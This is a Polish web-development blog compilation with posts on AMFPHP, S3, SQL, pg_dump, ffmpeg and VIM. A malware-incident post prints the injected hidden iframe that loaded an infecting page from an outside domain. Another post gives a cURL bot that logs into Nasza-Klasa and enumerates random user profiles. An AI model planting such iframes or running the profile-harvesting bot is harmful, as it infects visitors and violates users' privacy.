Przyjemna komunikacja php – flash czyli AMFPHP

Z pewnością każdy programista php, który w swoim projekcie musiał komunikować się z flash’em na własnej skórze doświadczył, że nie jest to zadanie ani przyjemne ani przyjazne w implementacji.

Aby przekazać dane flash’owi, skrypty muszą generować XML’e, które następnie zasysa flash i przetwarza Action Script’em. Bolączek tego rozwiązania jest wiele, poczynając od dodatkowego czasu potrzebnego na implementacje, wygenerowania XML i późniejszego jego zdekodowania a skończywszy na generowaniu sztucznego transferu, ograniczeniach w wielkości plików XML i trudności w debugowaniu.

Znamy zatem bolączki standardowej komunikacji php-flash, zatem trzeba zadać sobie pytanie czy możemy ich uniknąć? Oczywiście!

AMFPHP czyli przyjazna komunikacja na lini php – flash

AMFPHP to open source’owa implementacja Action Message Format (AMF). Bibliteka ta poprzez RPC (Remote Procedure Call) pośredniczy w komunikacji skryptów Action Script ze skryptami serwerowymi, przesyłane dane są serializowane do postaci binarnej. Wymiana danych następuje poprzez plik gateway.php. AMFPHP zachowuje typu danych: obiekt, tablica, wartości typu int, null, bool będą w tej samej postaci dostępne w Action Script w php.

Powyższy opis może nieco odstraszać egzotycznymi nazwami, to tylko teoria w praktyce nie ma się czego obawiać, zaraz na przykładzie pokaże, że instalacja jak i konfiguracja jest banalna.

1. Ściągamy najnowszą wersję AMFPHP, aktualnie jest to wersja 1.9 beta 2. Znaczkiem beta nie ma się co zanadto przejmować, gdyż wersja ta jest stabilna i dobrze przetestowana.
2. Rozpakowywujemy archiwum powyżej document_root gdyż katalog browser i plik gateway.php muszą być dostępne przez HTTP. Resztę plików można by schować poniżej document_root, jednak na potrzeby tej prezentacji nie będę się w takie szczgóły zagłębiać.
3. W katalogu services tworzymy usługi, które maja postac klas PHP. Kod przykładowej usługi:

<?php
require_once( '/my_application/library/core_classes/game.php' );

class FlashGame {

	private $game;
	
	public function __construct() {
		$this->game = new Game();
	}
	
	/**
	 * Metoda zwraca informacje o grze i uzytkowniku
	 *
	 * @param integer - id gry
	 * @param integer - id usera
	 * @return array
	 */
	public function getResults( $gameID, $userID ) {
		$response['info'] = $this->game->getGameInfo( $gameID );
		$response['user'] = $this->game->getUserInfo( $userID );

		return $response;
	}

	/**
	 * Metoda usua uzytkownika
	 *
	 * @param integer - id usera
	 * @return bool
	 */
	public function remove( $userID ) {
		return (bool)$this->game->remove( $userID );
	}
	
	/**
	 * Metoda zwraca obiekt gry
	 *
	 * @return Object
	 */
	public function getGameObject() {
		return $this->game->getGameObject();
	}
}
?>

Klasy usług powinny być maksymalnie proste i jedynie odwoływać się do klas logiki biznesowej aplikacji. Taka konstrukcja zapewnia jasny i przejrzysty kod aplikacji i jest zgodna z kanonami programowania.

Jeżeli poprawnie wykonaliśmy powyższe operacje to będziemy mogli odpalić browsera i z jego poziomu przetestować działanie. Odpalamy browsera (tutaj przykład), przy pierwszym odpaleniu pyta się nas o ścieżkę do gateway i prezentacje wyników, wybierzmy 'tree view’, i klikamy OK.

Po lewej stronie widzimy dostępne usługi, po dwukrotnym kliknięciu na nazwę usługi pojawiają nam się dostępne metody. Domyślnie widoczne są wszystkie metody, można to zmienić pisząc znak podkreślenia na początku jej nazwy. Każda metoda opisana jest komentarzem wyciągniętym z klasy oraz zawiera pola na wprowadzenie testowych danych. Pola te odpowiadają parametrom przyjmowanym przez tą metodę.

Z poziomu browsera możemy przetestować działanie metod poprzez kliknięcie na przycisk call, wyniki prezentowane są w oknie poniżej. Prezentowany wynik jest identyczny z tym co dostaje Flash. Po publikacji aplikacji należy pamiętać o skasowaniu lub zabezpieczeniu hasłem dostępu katalog browsera.

Zatem podsumujmy co daje nam AMFPHP:

  • oszczędność w implementacji
  • łatwe testowanie i debugowanie aplikacji
  • mniejszy transfer serwera
  • większa szybkość działania aplikacji
  • przejrzystość i skalowalność
  • bezpieczeństwo (dane przesyłane binarnie a XML w postaci jawnej)
  • proste wdrożenie do aplikacji

Tutaj do ściągnięcia jest cała paczka AMFPHP wraz z przykładowymi serwisami.

Startup PoSasiedzku.pl – witaj w sąsiedztwie!

Ostatnio miałem przyjemność przyjrzeć się bliżej jednemu z wrocławskich startupów – PoSasiedzku.pl.

Serwis, jak sama nazwa mówi, służy do nawiązywania 'sąsiedzkich relacji’. Główną ideą serwisu jest budowanie społeczności poprzez łączenie ludzi z okolicy – sąsiadów. Słowo sąsiad nie jest nigdzie zdefiniowane, może to być sąsiad z bloku obok a może być i sąsiad internetowy. Sąsiedzi grupują się w społeczności. Społecznością może być wszystko – osiedle, miasto, ulica a nawet hotel czy most. Bardzo trafionym pomysłem było mocne zintegrowanie serwisu z Google Maps dzięki czemu relacje sąsiedzkie są dodatkowo podkreślone.
Każdy użytkownik ma wgląd do aktualnych wydarzeń w społecznościach, do których należy bądź do których ma niedaleko. Oczywiście serwis posiada wszystkie funkcjonalności społecznościowe, użytkownicy mogą się komunikować, upiększać swój profil zdjęciami, pisać blogi etc.

Osobiście jestem dosyć sceptycznie nastawiony do powstających portali społecznościowych, tak jest i w tym przypadku, tym bardziej gdy serwis nie ma pewnej konkretnej tematyki, która mogła by scalić użytkowników. Aktualnie miejscem, które skupia Polaków, jest nasza-klasa.pl i trzeba wymyślić coś więcej ponad motyw społeczności/znajomości, aby móc osiągnąć sukces.

Nie jestem pewien, czy sama chęć poznania sąsiadów będzie wystarczającą motywacją do korzystania z serwisu. Osobiście szanse serwisu upatruje nie tyle w ideologii sąsiedzkiej co informacyjnej. Jeżeli społeczności miejskie w poSąsiedzku.pl będą chciały informować się na wzajem o tym, co się wokół nich dzieje, to dla każdego miasta może powstać coś na kształt wrocek.pl. Jednak do tego daleka droga.

Niestety nie będzie to droga łatwa gdyż, mentalność polskich użytkowników internetu jest dosyć samolubna i z zasady nie chcą dzielić się 'za darmo’. Aby użytkownicy udzielali się społecznie, muszą być odpowiednio zmotywowani pewnymi gratisami: rangi, uprawnienia czy nagrody… we wrocku tego nie ma i serwis już dawno przestał rozwijać.

Grafika serwisu jest bardzo estetyczna, dosyć specyficzna, rzekłbym nawet że trochę cukierkowa. W pierwszym momencie, poprzez swoją unikalność i wyrazistość, bardzo przypadła mi do gustu, teraz po 2 tygodniowej styczności z serwisem zaczyna męczyć.

W tej chwili serwis opatrzony jest znaczkiem beta 1.1, termin wersji ostatecznej nie jest znany, miejmy nadzieje, że nie pójdą w ślady gmaila czy belysio i będzie to niebawem. Twórcy zapowiadają, że w najbliższym czasie dodadzą nowe funkcjonalności (ciekawe jakie?) – czekam z niecierpliwością.

Życzę powodzenia.

Tymczasem zapraszam do sąsiedztwa!

Odbanowanie domeny w Google

Ban w google

Jakże wielkie było moje zdziwienie gdy po powrocie z błogich wakacji w skrzynce mailowej znalazłem wiadomość od Google Search Quality zawiadamiającą o usunięciu z indeksu Google dwóch moich serwisów.

Powodem usunięcia (bana) było 'zastosowanie technik, które wykraczają poza wytyczne jakościowe Google’ a dokładnie domeny zawierały 'strony z ukrytym tekstem w serwisie XXX’.

Jednocześnie w mailu zostałem pouczony żeby poprawić lub usunąć wszystkie strony serwisów, które nie spełniają norm jakościowych Google.

Zostałem także poinformowany, że domeny zostały zablokowane na okres przynajmniej trzydziestu dni.

Mniejsza o to czy ban się należał czy nie, przyznaje, że część winy leżała po mojej stronie.

A ban rzeczywiście był jak skurczybyk… domeny nie dało rady znaleźć w Google w żaden sposób, site:0, odwiedzalność spadła o 75%… generalnie tragedia. Trzeba wziąć się zatem za odblokowanie…

Jak odblokować domenę?

Najpierw trzeba poprawić kod strony, do którego Google ma zastrzeżenie, następnie dodać domeny do
Google Webmaster Tools, zweryfikować i wysłać proźbę o ponowną indeksacje.

W polu tekstowym można napisać, że ów zły kod został usunięty i ew. opisać dlaczego się pojawił.

W moim przypadku obydwie domeny zostały odblokowane w przeciągu 48h od zgłoszenia. Szczerze mowiąc jestem w głębokim szoku bo praktycznie pogodziłem się już z ponad miesięczną nieobecnością w indeksie. A tak jest wielkie ufff.

Nie wiem czy standardowa procedura Google jest taka szybka, czy może szybkość wynikła z uwagi na wysoką wartość serwisów na zablokowanych domenach, czy może z tego że moje przewinienie było niewielkie i nie było umyślne, w każdym razie chylę czoła przed machiną G.

Serwisy wróciły na pozycje w SERP’ach sprzed bana, nie odnotowałem też żadnych dodatkowych perturbacji.

Wniosek?

Po pierwsze: nie warto oszukiwać Google, bo z pewnością Ci się to nie opłaci.
Po drugie: jeżeli już zdecydowałeś się oszukiwać Google to bądź pewny, że Google się o tym dowie.
Po trzecie: jeżeli Google się dowiedziało o oszukiwaniu i ukarało Cie to nie załamuj rąk, popraw się i daj znać o tym Google.

Automatyczne przeglądanie kont na naszej klasie

Ostatnio zapragnąłem trochę posurfować po największym portalu społecznościowym w Polsce jakim jest Nasza-Klasa. Poniżej prościutki kod odwiedzający losowe konta.

Deklarujemy zmienne do logowania, plik przetrzymujący ciasteczka i nazwę przeglądarki z jaką będzie się przedstawiał nasz automat.

$cookie = 'cookie.txt';

$loginUrl = 'http://nasza-klasa.pl/login';
$login = 'login';
$password = 'pass';
$useragent = 'Mozilla/5.0 (X11; U; Linux i686; pl; rv:1.8.0.3) Gecko/20060426 Firefox/1.5.0.3';

Logujemy się na konto n-k:

$ch = curl_init( $loginUrl );
curl_setopt( $ch, CURLOPT_COOKIEFILE, $cookie );
curl_setopt( $ch, CURLOPT_COOKIEJAR, $cookie );
curl_setopt( $ch, CURLOPT_COOKIE, $cookie);
curl_setopt( $ch, CURLOPT_USERAGENT, $useragent );
curl_setopt( $ch, CURLOPT_POST, true );
curl_setopt( $ch, CURLOPT_POSTFIELDS, 'login='.$login.'&password='.$password );
curl_setopt( $ch, CURLOPT_REFERER, 'http://nasza-klasa.pl/' );
curl_setopt( $ch, CURLOPT_RETURNTRANSFER, 1 );
curl_setopt( $ch, CURLOPT_FOLLOWLOCATION, 1);
$afterLogin = curl_exec($ch);
curl_close($ch);

Wywołujemy adresy losowych kont:

for( $i=1; $i<=100; $i++ ) {
	$profileID = rand( 1000, 15000000 ); // rand
	
	$ch = curl_init( 'http://nasza-klasa.pl/profile/'.$profileID );
	curl_setopt( $ch, CURLOPT_COOKIEJAR, $cookie);
	curl_setopt( $ch, CURLOPT_COOKIEFILE, $cookie);
	curl_setopt( $ch, CURLOPT_COOKIE, $cookie);
	curl_setopt( $ch, CURLOPT_USERAGENT, $useragent );
	curl_setopt( $ch, CURLOPT_HEADER, 0);
	curl_setopt( $ch, CURLOPT_REFERER, 'http://nasza-klasa.pl/' );
	curl_setopt( $ch, CURLOPT_RETURNTRANSFER, 1 );
        curl_setopt( $ch, CURLOPT_FOLLOWLOCATION, 1);
	$profile = curl_exec($ch);
	curl_close($ch);
	
	if( !preg_match( '/Nie znaleziono strony \(404\)/', $profile ) ) {
		// konto istnieje
		// z danymi konta możemy zrobić co chcemy...
	} else {
		// nie ma konta takiego konta
	}
}

Ustawiamy w contab'ie wywołanie skryptu co 10 minut:

*/10 * * * * curl -s -o /dev/null PATH_TO_SCRIPT

Z uwagi na bardzo dużą liczbę kont prawdopodobieństwo odwiedzenia w niedługim czasie 2 razy tego samego konta jest stosunkowo niewielkie.

Jednak jeżeli chcemy odwiedzić każde konto jedynie raz to należy zmodyfikować skrypt tak aby przy każdym wywołaniu iterował po kolejnej setce kont. Informacje o ID od którego mamy zacząć możemy zapisywać w bazie danych lub w pliku.

Konwersja pliku wideo (mpg,mpeg,avi,3gp) do flv – ffmpeg

Aby odtwarzać plik wideo w playerze flash’owym osadzonym na stronie naszej aplikacji plik
musi być w formacie FLV (Flash Video). Konwersję można zrobić 'ręcznie’ lub zautomatyzować używając do tego dziennika crontab’a i unix’owego programu ffmpeg.

Ffmpg jest naprawdę rewelacyjnym programem, obsługuje konwersję wielu formatów audio, video oraz graficznych.

Posiada on sporą liczbę opcji i umożliwia dokonywanie wielu operacji na przetwarzanych
plikach. Pełna lista opcji dostępna jest w dokumentacji. Zobacz także składnię ffmpeg.

ffmpeg -i plik_wejsciowy -s 352×288 -acodec mp3 -r 25 -ar 22050 -ac 2 -ab 48k -b 400k -f flv plik_wyjsciowy.flv

Powyższe polecenie dokona konwersji pliku wejściowego do formatu FLV. Użyte parametry oznaczają:

* -i plik wejściowy
* -s 352x288: ustalenie rozmiaru (szerokość x wysokość) pliku wyjściowego (wartości muszą być parzyste)
* -acodec mp3: wymuszenie użycia kodeku audio (mp3)
* -r 25: ustawienie framerate'u pliku wyjściowego na 25 klatek/sek
* -ar 22050: ustawienie częstotliwości próbkowania dźwięku w Hz (domyślnie 44100hz)
* -ac 2: ustawienie liczby kanałów audio (2 - stereo, 1 - mono)
* -ab 48k: ustawienie bitrate'u dźwięku pliku wyjściowego bits/s  (domyślnie 64kbps)
* -b 400k: ustawienie bitrate'u wyjściowego pliku wideo bits/s (domyślnie 2000kbps)
* -f flv: wymuszenie formatu pliku wyjściowego
* plik_wyjsciowy.flv - plik wyjściowy

Tak przekonwertowany plik wideo powinien zachować jakość bardzo zbliżoną do oryginału. W razie potrzeby można poeksperymentować z wielkością parametrów bitrate’u, framerate’u oraz z kodekami aby otrzymać pożądaną jakość widea wyjściowego.

Amazon s3 – sposób na tani hosting plików aplikacji.

Amazon s3 (Simple Storage Service) jest usługą online, która umożliwia składowanie danych na przestrzeni dyskowej serwerów Amazon. W zależności od potrzeb, dane mogą być składowane w USA bądź też w Europie. Usługa s3 wyposarzona jest w API dzięki któremu w prosty sposób można operować na składowanych zasobach.

Usługa ta jest niesamowicie tania, opłaty pobierane są od:

  • zajmowanego miejsca – $0.18 za 1GB / miesiąć
  • zużytego transferu – $0.10 za 1GB transferu IN, $0.10 – $0.17 za 1GB transferu OUT
  • liczby request’ów – $0.012 za 1,000 request’ów PUT, POST, LIST, $0.012 za 10,000 requesty GET i wszelkie inne

Jak widać opłaty są śmiesznie niskie, w przypadku serwisu posiadającego duże ilości multimediów (zdjęcia, wideo etc..) i generującego spory ruch dużo taniej wyjdzie korzystanie z s3 niż korzystanie z jakiegokolwiek hostingu.

Dzięki kalkulatorowi możemy zaplanować i przewidzieć przyszłe koszta i tak możemy wyliczyć, że miesięczny koszt przetrzymywania 10GB i 100GB tranferu kosztować będzie w okolicach $17. Tanio prawda?

Dodatkowo korzystając z usługi Amazon nie trzeba martwić się o utratę danych, bądź ich czasową niedostępność. Infrastruktura s3 jest naprawdę znakomita, jak do tej pory nie było żadnych przypadków przerw w działaniu, a szybkość działania jest naprawdę imponująca.

Jak korzystać?

Aby zacząć korzystać z s3 należy utworzyć konto a następnie aktywować usługę poprzez autoryzację karty kredytowej. Polecam zaznajomić się z obszernym artykułem opisującym filozofie działania Amazon Web Services.

Powstało wiele bibliotek ułatwiających pracę z API s3, na wyróżnienie zasługuje class.s3.php.
Poniżej prościutki przykład użycia tej klasy:

//tworzymy obiekt klasy s3 przekazując identyfikatory naszego konta
$s3 = new S3($AMAZON_KEY, $AMAZON_PRIVATE_KEY);

//tworzymy folder
if( !$s3->bucketExists( 'FOLDER' ) ) {
	$result = $s3->createBucket( 'FOLDER' );
}

//wgrywamy plik
$result = $s3->putObject( 'FOLDER', 'DIST_FILE_NAME', 'PATH_TO_FILE', true );

//od tej chwili możemy się odwoływać do wgranego pliku poprzez http
//http://s3.amazonaws.com/FOLDER/DIST_FILE_NAME

//odczytujemy informacje wgranego obiektu
$objectData = $s3->getObjectInfo( 'FOLDER', 'DIST_FILE_NAME' );

if( !$result ) {
  print $s3->_error ;
}

//kasowanie elementow folderu
$s3->recursiveDelete( 'FOLDER', '' );

Uwaga, klasa ta wymaga dostępu do curl’a bash’owego.
W przypadku gdy funkcja shell_exec() jest zablokowana należy skorzystać z innej biblioteki np. phps3tk.

update 2008-12-19:
Znalazłem bardzo przydatny plugin do Firefox’a Amazon S3 Firefox Organizer(S3Fox), który umożliwia zarządzanie danymi na Amazon s3 z poziomu przeglądarki.

Plugin S3Fox umożliwia praktycznie wszystkie operacje na Amazon S3 jakie udostępnia API: przeglądanie, tworzenie/kasowanie/modyfikowanie folderów, wgrywanie i kasowanie zasobów oraz zarządzanie prawami dostępu do danych.

Dodatkowo generuje log z wykonanych czynności oraz wiele ułatwień. Dzięki niemu możemy przetestować poprawność naszych mechanizmów php’owych, oraz w przypadku jednorazowego upload’u zaoszczędzić czas na pisanie skryptów.

Strona domowa projektu S3Fox.

Jak usunąć zduplikowane rekody w tabeli bazy danych?

Czasami zdarza się że, poprzez nie do końca poprawną walidację danych wejściowych lub z powodu błędnego działania aplikacji stworzą nam się w bazie danych zduplikowane rekordy.

Takie niepożądane zduplikowane dane w 90% będą nam przeszkadzać i w najlepszym razie mogą powodować niepotrzebny zamęt w aplikacji. Skutki mogą takżę spowodować dużo poważniejsze problemy jak chociażby rozsynchronizowanie się danych w powiązanych tabelach w bazie.

Co należy robić w przypadku wykrycia zduplikowanych rekordów?

W pierwszej kolejności trzeba dojść do tego w jaki sposób powstały a następnie trzeba usprawnić aplikację w taki sposób aby powstawanie duplikatów było już niemożliwe.
Następnie trzeba wziąć się za zapisane dane i należy usunąć z nich nadmiarowe rekordy.

Usuwanie zduplikowanych rekordów

Usuwać duplikaty można na conajmniej kilka sposobów. Najczęstszą radą spotykaną w internecie to przeniesienie unikalnych rekordów do nowej tymczasowej tabeli, skasowanie wszystkich danych ze starej tabeli, a następnie zgranie z powrotem rekordy unikalne.

Niestety nie jest to metoda ani szybka, ani skuteczna ani bezpieczna.

Na prościutkim przykładzie rzedstawię poniżej najlepszy sposób na pozbycie się duplikatów

Tworzymy przykładową tabelę:

CREATE TABLE people(
	id SERIAL PRIMARY KEY,
	name VARCHAR(100) NOT NULL,
	surname VARCHAR(100) NOT NULL,
	phone VARCHAR(100) NOT NULL,
	email VARCHAR(100) NOT NULL
);

Tabela zawiera autoinkrementowane pole id, które jest kluczem jej głównym i kilka pól przetrzymujących dane.

Wstawiamy zduplikowane rekordy:

INSERT INTO people(name,surname,phone,email) VALUES('Marcin','Maczka','660111111','marcin@nospam.pl');
INSERT INTO people(name,surname,phone,email) VALUES('Marcin','Maczka','660111111','marcin@nospam.pl');
INSERT INTO people(name,surname,phone,email) VALUES('Agnieszka','Czopek','550123123','aga@nospam.pl');
INSERT INTO people(name,surname,phone,email) VALUES('Jas','Kowalski','555123147','jas@nospam.pl');
INSERT INTO people(name,surname,phone,email) VALUES('Jas','Kowalski','555123147','jas@nospam.pl');

Wyświetlamy zawartość tabeli:

SELECT * FROM people;
 id |   name    | surname  |   phone   |      email       
----+-----------+----------+-----------+------------------
  1 | Marcin    | Maczka   | 660111111 | marcin@nospam.pl
  2 | Marcin    | Maczka   | 660111111 | marcin@nospam.pl
  3 | Agnieszka | Czopek   | 550123123 | aga@nospam.pl
  4 | Jas       | Kowalski | 555123147 | jas@nospam.pl
  5 | Jas       | Kowalski | 555123147 | jas@nospam.pl
(5 rows)

Jak widzimy mamy zduplikowane 2 rekordy, pierwszym krokiem do usunięcia rekordów będzie napisanie zapytania, które je wyświetli a następnie
zmienimy SELECT NA DELETE.

SELECT
	id, name, surname, phone, email
FROM
	people
WHERE
	EXISTS (
		SELECT
			NULL
		FROM
			people AS P
		WHERE
			people.name = P.name
			AND people.surname = P.surname
			AND people.phone = P.phone
			AND people.email = P.email
		GROUP BY
			P.name, P.surname, P.phone, P.email
		HAVING
			people.id < MAX(P.id)
	);

Wynikiem zapytania będzie:

 id |  name  | surname  |   phone   |      email       
----+--------+----------+-----------+------------------
  1 | Marcin | Maczka   | 660111111 | marcin@nospam.pl
  4 | Jas    | Kowalski | 555123147 | jas@nospam.pl
(2 rows)

Wyjaśnienie zapytania:

  • SELECT _FIELDS_ FROM people – deklarujemy pola, które checmy wyświetlić
  • WHERE EXISTS( _CONDITION_ ) – które spełniają warunek _CONDITION_
  • SELECT NULL FROM people AS P – w podzapytaniu nic nie wyświetlamy, wykorzystujemy je jedynie do złączenia
  • WHERE _CONDITION_ – joinujemy po wszystkich polach, które mają tworzyć unikalny klucz
  • GROUP BY _FIELDS_ – grupujemy wg. unikalnych pól
  • HAVING people.id < MAX(P.id) – warunek na id

Modyfikujemy teraz powyższe zapytanie SELECT _FIELDS_ na DELETE

DELETE
FROM
	people
WHERE
	EXISTS (
		SELECT
			NULL
		FROM
			people AS P
		WHERE
			people.name = P.name
			AND people.surname = P.surname
			AND people.phone = P.phone
			AND people.email = P.email
		GROUP BY
			P.name, P.surname, P.phone, P.email
		HAVING
			people.id < MAX(P.id)
	);

I otrzymujemy tabele wyczyszczoną z nadmiarowych rekordów.

Jakie to proste.

**********************edit**********************

Jak słusznie zauważył kolega Wild Child powyższe zapytanie nie działa w mySQL.
Przyznaje się bez bicia, że testowałem jedynie w PostgreSQL gdyż powyższy kod SQL
wyglądał na uniwersalny.

Okazało się jednak, że mySQL nie pozwala na jednoczesne wyświetlanie i modyfikowanie
zawartości tabeli. (jednoczesny DELETE w zapytaniu głównym i SELECT w podzapytaniu)

Posiedziałem trochę i wymyśliłem alternatywne zapytanie:

SELECT 
	D.*
FROM 
	people as U
INNER JOIN 
	people AS D ON (
	   	D.name = U.name AND
   		D.surname = U.surname AND
	   	D.phone = U.phone AND
	   	D.email = U.email
	   )
AND 
	D.id > U.id;

Konstrukcja tego zapytania jest nieco inna:

  • Robimy JOINA wewnątrz tabeli po polach, które mają być unikalne
  • Zostawiamy rekord o najniższym id, a resztę kasujemy (warunek AND D.id > U.id)
  • Skróty: D – duplicate, U – unique
  • Oczywiście aby usunąć rekordy należy zamienić słowo SELECT na DELETE

Dumpowanie bazy danych w PostgreSQL (pg_dump)

W trakcie tworzenia aplikacji internetowej początkowo projekt powinien powstawać w lokalnym środowisku programistycznym. Może to być wewnętrzny serwer firmowy, czy po prostu domowy komputer.
Dzięki temu możemy pracować na optymalnej konfiguracji serwerowej, która może nam ułatwiać niektóre czynności. Oszczędzamy także na czasie połączenia ze zdalnym serwerem bazodanowym.
Dopiero gdy aplikacja będzie miała wersję w miarę stabilna (nazwijmy ją beta czy RCx) to możemy ją przenieść na serwer docelowy i dalsze testy przeprowadzać już tam.

W trakcie przenoszenia aplikacji, będziemy musieli oprócz plików przenieść zawartość bazy danych, poniżej przedstawiam opis wszystkich dostępnych parametrów dumpowania dla bazy PostgreSQL 8.2.

Użycie: 
  pg_dump [OPTION]... [DBNAME] 

Podstawowe opcje: 
  -f, --file=FILENAME      nazwa pliku, w którym zapisany będzie dump 
  -F, --format=c|t|p       format pliku (dowolny, tar, tekstowy) 
  -i, --ignore-version     wymuś działanie nawet gdy wersja psql jest inna od wersji pg_dump 
  -v, --verbose            verbose mode 
  -Z, --compress=0-9       poziom kompresji (dla formatów skompresowanych) 
  --help                   po dumpowaniu wyświetl pomoc 
  --version                po dumpowaniu wyświetl informację o wersji 

Opcje kontrolujące dumpowane dane: 
  -a, --data-only             dumpuj tylko dane, bez schematu bazy danych 
  -b, --blobs                 dumpuj także pola tylu blobs 
  -c, --clean                 w dumpie najpierw wyczyć strukture (poprzez dropy) 
  -C, --create                zamieść w dumpie komendę tworzenia bazy danych 
  -d, --inserts               dumpuj dane jako oddzielne komendy INSERT commands (domyślnie dumpowanie jest poprzez COPY) 
  -D, --column-inserts        dumpuj dane jako oddzielne komendy INSERT commands z nazwami kolumn (domyślnie dumpowanie jest poprzez COPY) 
  -E, --encoding=ENCODING     dumpuj dane używając kodowania ENCODING 
  -n, --schema=SCHEMA         dumpuj tylko schemat(y) SCHEMA 
  -N, --exclude-schema=SCHEMA dumpuj wszystko oprócz schamat(ów) SCHEMA 
  -o, --oids                  dumpuje wraz z numerami OID 
  -O, --no-owner              pomiń zapis odnośnie właściciela bazy danych 
  -s, --schema-only           dumuj tylko strukture bazy danych 
  -S, --superuser=NAME        w dumpie będzie zawarta nazwa superusera 
  -t, --table=TABLE           dumpuj jedynie tabele TABLE z bazy danych 
  -T, --exclude-table=TABLE   dumpuj wszystkie tabele oprócz TABLE 
  -x, --no-privileges         dumpuj z pominięciem praw dostępu (grant/revoke) 
  --disable-dollar-quoting    dumpuj z pominięciem 'dollar quoting', zostanie użyte standardowy ' 
  --disable-triggers          dumpuj z pominięciem procedur wyzwalanych automatycznie (triggers) 

Opcje potrzebne do połączenia: 
  -h, --host=HOSTNAME      serwer na którym postawiona jest baza 
  -p, --port=PORT          port serwera pod którym baza jest dostępna (domyślnie: "5432") 
  -U, --username=NAME      nazwa użytkownika bazy danych 
  -W, --password           wymuszenie podania hasła

Osobiście używam polecenia:

pg_dump -c -O -U USERNAME DBNAME -h HOSTNAME -p 5432 --disable-dollar-quoting -i > DBNAME-YYYY-MM-DD.sql

Otrzymany dump najpierw zawiera wyczyszczenie struktury bazy danych (-c) (jest to przydatne gdy nadpisujemy istniejącą już bazę danych), pomijam zapis dotyczący właściciela bazy danych (-O) (gdyż na 99% właściciel bazy danych źródłowej i docelowej będzie inny), pomijam parametry -d -D i dumpuję baze poprzez COPY (takie dumpowanie znacznie przyspiesza wczytywanie zdumpowanych danych) wczytuje użytkownika jakim się łączę (-U USERNAME), nazwę bazy danych (DBNAME), host serwera na którym jest baza danych (-h HOSTNAME), port na którym się łączę z bazą danych (-p 5432), wymuszam standardowe apostrofy (–disable-dollar-quoting) i na wszelki wypadek ignoruję różnice wersji (-i). Dane zapisuję w pliku o nazwie równoważnej z nazwą bazy danych w raz z bieżącą datą (> DBNAME-YYYY-MM-DD.sql)

Blokada witryny w google z powodu wykrycia malware.

Całkiem niedawno doznałem niezłego szoku gdy dostałem maila od Google, w którym zostałem poinformowany, że witryna www.poland2012.net, którą zarządzam została uznana za niebezpieczną dla użytkowników i częściowo zablokowana w wyszukiwarce.

Blokada polegała na wyświetlaniu w SERP-ach przy linku do witryny komunikatu: „Ta witryna może wyrządzić szkody na Twoim komputerze” ( ang: „This site may harm your computer” ). Po kliknięciu na link witryny pojawiała się kolejna strona z dodatkowym ostrzeżeniem „Ostrzeżenie – przejście do tej witryny może być niebezpieczne dla Twojego komputera!„, bez linka do strony docelowej. Przez to procent wejść z wyników naturalnych Google spadł praktycznie do zera gdyż jak widać bezpośrednio przejść an witrynę nie można było a szczerze wątpię aby komukolwiek mimo takich komunikatów chciał się ręcznie wpisywać adres „podejrzanej” domeny.

Powodem blokady domeny było zalezienie przez boty Google podejrzanych fragmentów kodu w kontencie witryny, które swoim działaniem mogły zainfekować potencjalnych odwiedzających. Z początku pomyślałem że to jakaś pomyłka bo przecież nigdy bym nawet nie pomyślał aby infekować kogokolwiek jakimś złośliwym oprogramowaniem typu malware czy spyware. Po chwili namysłu pomyślałem że przecież ktoś mógł taki kod wstawić w którymś z komentarzy do artykułów – przeszukałem zatem wszystkie treści wprowadzone przez użytkowników pod kątem wystąpienia „javascript” i „iframe” i nic nie znalazłem. Następną myślą było było sprawdzenie dla świętego spokoju źródła strony głównej. Jakże byłem zdziwiony gdy oczom moim ukazał się podejrzany kod:

<iframe src=http:///www.wp-stats-php.info/iframe/wp-stats.php width=1
height=1 frameborder=0></iframe>

Co najdziwniejsze kod ten znajdował się w środku tekstu wprowadzonego przeze mnie. Po kilku guglnięciach okazało się że to właśnie jest ten złośliwy kod o który chodzi Google – kod ten otwiera w niewidocznej ramce stronę, która infekuje system nieświadomego użytkownika. Czyżbym niechcąco go sam wprowadził? Niemożliwe…

Po kilku kolejnych guglnięciach okazało się że wersji Word Press’a, którego uzywam daleko jest do najaktualniejszej i w między czasie wydano kilka krytycznych updatów, które m.in poprawiały bezpieczeństwo danych. Zatem jasnym okazało się, że ktoś włamał się do systemu używając którejś z wykrytych luk i dokleił do niektórych postów niebezpieczny kod. Cóż uroki OpenSource.

Po odkryciu co i dlaczego jest nie tak zabrałem się za sprzątanie tego bałaganu, po kolei:

  1. Usunąłem zły kod malware.
  2. Zaktualizowałem Word Press’a do najnowszej wersji 2.3.2.
  3. Przesłałem informację do Google, że moja witryna jest już bezpieczna.

Po około dwóch dniach blokada w SERP-ach została zdjęta a tym samym sprawa zakończona.

Przygoda ta przypomniała mi o tym, że jeżeli korzystamy z jakichkolwiek aplikacji OpenSource to aby zapewnić maksymalne bezpieczeństwo trzeba ją regularnie aktualizować.

Jeszcze dla podejrzliwych dodam, że nie jest możliwe aby witryna została uznana za groźną poprzez jej zgłoszenie przez konkurencje. Proces sprawdzania witryn i ich ewentualna blokada jest procesem w pełni automatycznym.

Przydatne linki:

edit:

Google udostępniło poradnik dla webmasterów „Co zrobić gdy moja strona została zhakowana?„. Poniżej dodatkowy film:

VIM – podstawowe komendy

Ktoś może pomyśleć – „po co mi znajomość VIMa, przecież jest milion przyjaźniejszych dla użytkownika edytorów”. Zgodzę się, po części – jest wiele UNIX-owych edytorów tekstu posiadających interface dużo przyjaźniejszy jednak żaden z nich nie ma takich dużych możliwości jak stary poczciwy VIM, nie znam innego edytora, który z równie sprawnie i szybko edytuje pliki 200 megowe. Zresztą na niektórych serwerach (wierzcie mi, że są takie) VIM jest jedynym dostępnym edytorem tekstu.

Jako, że kiedyś sam szukałem prostego manuala z podstawowymi komedami VIMa to może komuś się przyda:

poruszanie się po dokumencie
+ – przejście do następnej linii
– – przejście do poprzedniej linii
0 – przejście do początku linii
^ – przejście do pierwszego znaku nie będącego znakiem białym w linii
$ – przejście na koniec linii
n| – przejście do kolumny n linii
} – przejście do następnego paragrafu
{ – przejście do poprzedniego paragrafu
% – przejście do otwarcia / zamknięcia nawiasu (),[],<>,{}
G – przejście na koniec dokumentu
nG – przejście do linii <n>

zapisywanie
:x lub :wq – zapisywanie pliku i wyjście
:q! – wyjście bez zapisania zmian
:w plik – zapisanie w nowym pliku „plik”

wyszukiwanie
/ STRING – szukanie do przodu
? STRING – szukanie do tyłu
n – przejście do następnego znalezionego elementu
SHIFT+n przejście do poprzedniego znalezionego elementu

kasowanie tekstu
x – kasowanie bieżącego znaku
nx – kasowanie znaków
dw – kasowanie bieżącego wyrazu
